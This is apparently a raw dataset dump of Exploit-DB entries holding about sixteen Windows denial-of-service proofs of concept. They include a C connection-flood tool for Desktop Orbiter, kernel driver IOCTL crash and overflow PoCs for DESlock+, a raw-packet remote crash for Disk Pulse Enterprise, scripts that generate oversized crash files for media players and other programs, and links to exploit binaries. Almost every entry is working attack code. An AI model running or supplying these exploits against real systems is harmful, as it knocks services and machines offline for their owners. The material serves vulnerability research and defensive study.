deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22694
Description: Desktop Orbiter 2.0 1 - Resource Exhaustion (Denial of Service)
Type: dos
Platform: windows
Date: 2003-05-30
Author: Luca Ercoli

Exploit:
// source: https://www.securityfocus.com/bid/7759/info

A denial of service vulnerability has been reported for Desktop Orbiter. The vulnerability exists due to the way the application handles connections. Specifically, for every open connection, a snapshot preview of the desktop is loaded into memory. Thus, numerous connections would result in a consumption of all available memory resources.

#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

#define PORT 51054

int main(int argc, char *argv[]){

int sockfd;
struct hostent *he;
struct sockaddr_in their_addr;

int c;
int n;
char *host = NULL;
int cnt=1;

if(argc < 2 ) {
printf("Usage:%s -h <host>\n",argv[0]);
exit(0);
}


while((n = getopt(argc, argv, "h")) != -1) {
                switch(n) {
                        case 'h':
                        host = optarg;
                        break;

                        default:
                        printf("Bad Input\n");
                        exit(0);
                }
        }


if ((he = gethostbyname(argv[2])) == NULL)
          {
                  herror("gethostbyname");
                  exit(1);
          }

        their_addr.sin_family = AF_INET;
        their_addr.sin_port = htons(PORT);
        their_addr.sin_addr = *((struct in_addr *) he->h_addr);
        bzero(&(their_addr.sin_zero), 8);

printf
("\n\n\t\t#########################################################\n");
printf("\t\t# Proof of Concept by Luca Ercoli luca.ercoli@inwind.it #\n");
printf("\t\t#         Desktop Orbiter 2.01 Denial of Service        #\n");
printf
("\t\t#########################################################\n\n");
printf("\nAttacking....\n\a");


if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
          {
                  perror("socket");
                  exit(1);
          }

       if (connect (sockfd, (struct sockaddr *) &their_addr,sizeof(struct
sockaddr)) == -1)
          {
                 perror("connect");
exit(0);
}


for (c=0;c<99500;c++){

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
          {
                  perror("socket");
                  exit(1);
          }


        if (connect (sockfd, (struct sockaddr *) &their_addr,
sizeof(struct sockaddr)) == -1)
          {

printf("\n[Attack status] Step %d/25 : Complete!",cnt);

if (cnt == 25) {
printf("\nAttack Complete!\n\n\a");
exit(0);
}

cnt++;

sleep(1);

          }


close(sockfd);

}

printf("\n");
return 1;

}
Exploit-DB #5142
Description: DESlock+ < 3.2.6 - 'DLMFENC.sys' Local Kernel Ring0 link list zero (PoC)
Type: dos
Platform: windows
Date: 2008-02-18
Author: mu-b

Exploit:
/* deslock-list-zero.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.6 local kernel ring0 link list zero POC
 * by mu-b - Fri 21 Dec 2007
 *
 * - Tested on: DLMFENC.sys 1.0.0.26
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xDEADBEEF
#define ZERO_MEM      0xDEADBEEF

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("DESlock+ <= 3.2.6 local kernel ring0 link list zero PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);
  req.flag = DLMFENC_FLAG;
  req.req_num = 4;
  req.arg[0] = (void *) ZERO_MEM;

  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-02-18]
Exploit-DB #6498
Description: DESlock+ < 3.2.7 - 'probe read' Local Kernel Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-09-20
Author: mu-b

Exploit:
/* deslock-probe-read.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.7 local kernel DoS POC
 * by mu-b - Sat 19 Jul 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * call to ProbeForRead with a user-definable address that
 * is eventually overwritten (should have been ProbeForWrite).
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xC001D00D

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile, hThread;
  DWORD rlen, dThread, nTotal, nFail;
  LPVOID zpage;
  BOOL result;

  printf ("DESlock+ <= 3.2.7 local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc (NULL, 0x1000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_READONLY);
  if (zpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x1000);

  req.flag = DLMFENC_FLAG;
  req.req_num = 18;
  req.arg[0] = (void *) zpage;
  sleep (2000);

  xor_mask_req (&req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-20]
Exploit-DB #6496
Description: DESlock+ < 3.2.7 - Local Kernel Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-09-20
Author: mu-b

Exploit:
/* deslock-overflow.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.7 local kernel overflow POC
 * by mu-b - Sat 23 Feb 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL   0x0FA4204C
#define DLMFENC_FLAG    0xC001D00D
#define DLMFENC_BUZ_SZ  0x1000

#define ARG_SIZE(a)     ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  CHAR buf[DLMFENC_BUZ_SZ + 128];
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("DESlock+ <= 3.2.7 local kernel overflow PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  buf[0] = 'C';                           /* drive letter */
  memset (&buf[1], 0x41, sizeof buf - 1); /* filename     */
  buf[sizeof buf - 1] = '\0';

  memset (&req, 0, sizeof req);
  req.flag = DLMFENC_FLAG;
  req.req_num = 0x05;
  req.arg[0] = (void *) buf;
  sleep (2000);

  xor_mask_req (&req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-20]
Exploit-DB #7652
Description: Destiny Media Player 1.61 - '.lst' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-03
Author: Encrypt3d.M!nd

Exploit:
#
# Destiny Media Player (lst file) Buffer overflow PoC
# By:Encrypt3d.M!nd
# I'am Iraqian...Not Arabian
###########################################
#  Well,i've tried to write an exploit for this shit but i couldn't
# the address after the NEW eip will over written,if anyone
# knows how to exploit this,be my guest

chars = "A"*2052
eip = "\x42\x42\x42\x42" # the eip will become 42424242

file=open('exp.lst','w')
file.write(chars+eip+chars)
file.close()

# milw0rm.com [2009-01-03]
Exploit-DB #7649
Description: Destiny Media Player 1.61 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-02
Author: aBo MoHaMeD

Exploit:
#!/usr/bin/perl -w

########################################################################
#Program  : Destiny Media Player                                      
#Version  : 1.61.0                              
#website  : http://www.pirateradio.com/downloads/                  
#Download : http://www.pirateradio.com/downloads/destinymp3.exe
#Type     : (.m3u File) local Stack Overflow PoC                    
########################################################################

#EAX 61616161
#ECX 00000001
#EDX 014377A0
#EBX 0000000B
#ESP 0030FFEC
#EBP 00312C04 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#ESI 00000000
#EDI 00312C44 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#EIP 004266D7 Destiny.004266D7
#C 0  ES 0023 32bit 0(FFFFFFFF)
#P 1  CS 001B 32bit 0(FFFFFFFF)
#A 0  SS 0023 32bit 0(FFFFFFFF)
#Z 1  DS 0023 32bit 0(FFFFFFFF)
#S 0  FS 003B 32bit 7FFDE000(FFF)
#T 0  GS 0000 NULL
#D 0
#O 0  LastErr ERROR_SUCCESS (00000000)
#EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
#ST0 empty -??? FFFF [PII_REDACTED]
#ST1 empty 0.0
#ST2 empty [PII_REDACTED]000000000
#ST3 empty 0.0
#ST4 empty 0.0
#ST5 empty [PII_REDACTED]000000000
#ST6 empty 3672.[PII_REDACTED]
#ST7 empty 0[PII_REDACTED]000000000
#               3 2 1 0      E S P U O Z D I
#FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
#FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


my $file="boom.m3u";


open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "A" x 31185;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-02]
Exploit-DB #3229
Description: Dev-C++ 4.9.9.2 - '.CPP' File Parsing Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-01-30
Author: shinnai

Exploit:
#!/usr/bin/env python
print "--------------------------------------------------------------"
print "Dev-C++ 4.9.9.2 Stack Overflow"
print "url: http://www.bloodshed.net/"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "--------------------------------------------------------------"

try:
   char = "\x41" * 80000

   out_file = open('DevCpp.cpp','wb')
   out_file.write(char)
   out_file.close()

   print "File succesfully created!\n\n"
   print "Here is a dump:"
   print "----------------------------------------------------------------"
   print "pid=0A58 tid=04C4  EXCEPTION (first-chance)"
   print "----------------------------------------------------------------"
   print "Exception C00000FD (STACK_OVERFLOW)"
   print "----------------------------------------------------------------"
   print "EAX=00000674: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "ECX=00404358: 8B 44 24 04 F7 40 04 06-00 00 00 0F 85 89 00 00"
   print "EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00"
   print "ESP=00032E1C: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00"
   print "EBP=000334A0: CC 34 03 00 7C 43 40 00-B0 34 03 00 BF 37 91 7C"
   print "ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
   print "EIP=7C8024E0: 53 56 57 8B 45 F8 89 65-E8 50 8B 45 FC C7 45 FC"
   print "              --> PUSH EBX"
   print
"----------------------------------------------------------------\n"
   print "Encreasing the number of characters will change the results of"
   print "this exploit. For example try with 1000000 of characters and see"
   print "what happen."
   print "I was unable to execute arbitrary code but I think someone
better"
   print "than me can succesfully exploit it :P\n"
except:
   print "Unable to create file!"

# milw0rm.com [2007-01-30]
Exploit-DB #46321
Description: Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-05
Author: Victor Mondragón

Exploit:
#Exploit Title: Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-04
#Tested Version: 8.10.00.8925
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: Device_Monitoring_Studio_8.10.00.8925.py
#2.- Open code.txt and copy content to clipboard
#3.- Open Device Monitoring Studio
#4.- Select "Tools" > "Connect to New Server"
#5.- Select "Enter the name server or address" and Paste Clipboard
#6.- Select "Ok"
#7.- Crashed

cod = "\x41" * 1000

f = open('code.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #47410
Description: DeviceViewer 3.12.0.1 - 'creating user' Denial of Service
Type: dos
Platform: windows
Date: 2019-09-24
Author: x00pwn

Exploit:
#!/usr/bin/python

# Exploit Title: DeviceViewer 3.12.0.1 - 'creating user' DOS buffer overflow
# Date: 9/23/2019
# Exploit Author: x00pwn
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7

# Steps to reproduce:
#   1. Generate a malicious payload via the POC
#   2. In the Sricam application create a new user
#   3. When creating a new user, set the username as the malicious payload
#   4. Observe a program DOScrash

payload = "A" * 5000

try:
    evilCreate =open("exploit.txt","w")
    print("""
    DeviceViewer 3.12.0.1 DOS exploit POC
    Author: Nu11pwn
    """)
    print("[x] Creating malicious file")
    evilCreate.write(payload)
    evilCreate.close()
    print("[x] Malicious file create")
    print("[x] When creating a new user, set the username to the file contents")
    print("[x] Watch the program crash")
except:
    print("[!] File failed to be created")
Exploit-DB #46721
Description: DHCP Server 2.5.2 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-17
Author: Victor Mondragón

Exploit:
#Exploit Title: DHCP Server 2.5.2 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-16
#Vendor Homepage: http://www.dhcpserver.de/cms/
#Software Link: http://www.dhcpserver.de/cms/wp-content/plugins/download-attachments
#Tested Version: 2.5.2
#Tested on: Windows 7 x32 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: DHCPSRV_2.5.2.py
#2.- Open dhcp.txt and copy content to clipboard
#2.- Open dhcpwiz.exe 
#3.- Click Next
#4.- In Network Interface cards Select "Local Area Connection" and click on Next 
#5.- In Supported Protocols click on Next 
#6.- In Configuring DHCP for Interface Select "DHCP Options"
#7.- Select "Bootfile" field and Paste ClipBoard
#8.- Crashed

cod = "\x41" * 6000
f = open('dhcp.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #19636
Description: Dick Lin ZetaMail 2.1 - Login Denial of Service
Type: dos
Platform: windows
Date: 1999-11-18
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/813/info

The ZetaMail mail server will crash if a username/password pair longer than 3500 characters is supplied by the client. 

19636-1.exe - binary for windows
19636-2.zip - source for windows
19636-3.tgz - source for linux 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19636-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19636-2.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19636-3.tgz
Exploit-DB #8677
Description: DigiMode Maya 1.0.2 - '.m3u' / '.m3l' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-14
Author: SirGod

Exploit:
#####################################################################################################
#                    DigiMode Maya 1.0.2 (.M3U File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

#####################################################################################################
#                    DigiMode Maya 1.0.2 (.M3L File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3l";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

# milw0rm.com [2009-05-14]
Exploit-DB #11320
Description: Digital Amp MP3 3.1 - '.mp3' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-02-02
Author: SkuLL-HackeR

Exploit:
#!/usr/bin/perl
# H0m3 : S3curity-art.com
# M4!l: Wizard-skh@hotmail.com
# T3st3d on: Windows XP SP3

print "Tic-Tac";
my $boom="\x41" x 1500;
my $filename = "B000M.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";
Exploit-DB #15738
Description: Digital Audio Editor 7.6.0.237 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-12-15
Author: h1ch4m

Exploit:
####
####
####Exploit Title: Digital Audio Editor 7.6.0.237 Local Crash PoC
####Software Link: http://www.audioeditor.us/dae/index.htm
####Tested on: Win XP SP3
####Date: 15-12-2010
####Author:  h1ch4m
####Email: h1ch4m@live.fr
####
####

my $file= "1.cda";
my $junk = "\x41" x 1000;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";
sleep(1);
Exploit-DB #43452
Description: Disk Pulse Enterprise 10.1.18 - Denial of Service
Type: dos
Platform: windows
Date: 2018-01-08
Author: Ahmad Mahfouz

Exploit:
# Exploit Title: Disk Pulse Enterprise Server v10.1.18 - DOS,
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v10.1.18.exe
# Version: v10.1.18
# Category; Windows Remote DOS
# CVE: CVE-2017-15663
# Author Twitter: @eln1x
# Description In Disk Pulse Enterprise Server v10.1.18, the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9120.

 

 

import socket
target = "192.168.72.231"
port = 9120
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))

packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e" #evil
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)
         print data

except:

         print "K1LL3D"
Exploit-DB #42112
Description: Disk Sorter 9.7.14 - 'Input Directory' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-06-02
Author: n3ckD_

Exploit:
#!/usr/bin/python

######################################
#	Exploit Title:		DiskSorter v9.7.14 - Input Directory Local Buffer Overflow - PoC
# 	Date: 				25 May 2017
# 	Exploit Author: 	n3ckD_
#	Vendor Homepage:	http://www.disksorter.com/
#	Software Link:		http://www.disksorter.com/setups/disksorter_setup_v9.7.14.exe
#	Version:			Disk Sorter v9.7.14 (32-Bit)
#	Tested on:			Windows 7 Enterprise SP1 (Build 7601)
#	Usage:				Run the exploit, copy the text of the poc.txt into the 'Inputs -> Add Input Directory' dialog
######################################

print "DiskSorter v9.7.14 (32-Bit) - Input Directory Local Buffer Overflow - PoC"
print "Copy the text of poc.txt into the 'Inputs -> Add Input Directory' dialog"

# in libspg:.text
# 10147C1C   58               POP EAX
# 10147C1D   C3               RETN
ret = "\x1c\x7c\x14\x10"

nops = "\x47\x4F"*24
buf = nops + "A"*4048 + ret + "MAGIC" + "\n"

f = open("poc.txt","w")
f.write(buf)
f.close()
Exploit-DB #41737
Description: Disk Sorter Enterprise 9.5.12 - Local Buffer Overflow
Type: dos
Platform: windows
Date: 2017-03-27
Author: Nassim Asrir

Exploit:
[+] Title: Disk Sorter Server v9.5.12 - Local Stack-based buffer overflow
[+] Credits / Discovery: Nassim Asrir
[+] Author Email: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: N/A

Vendor:
===============

http://www.disksorter.com/
  
 
Download:
===========

http://www.disksorter.com/setups/disksortersrv_setup_v9.5.12.exe
 
 
Vulnerability Type:
===================

local stack-based buffer overflow


POC:
===================

Launch the program click on :

1 - Server 

2 - Connect

3 - and in the Share Name field inject (5000 "A") then the program crashed see the picture.

CVE Reference:
===============

N/A
 
 
Tested on:
=============== 

Windows 7

Win xp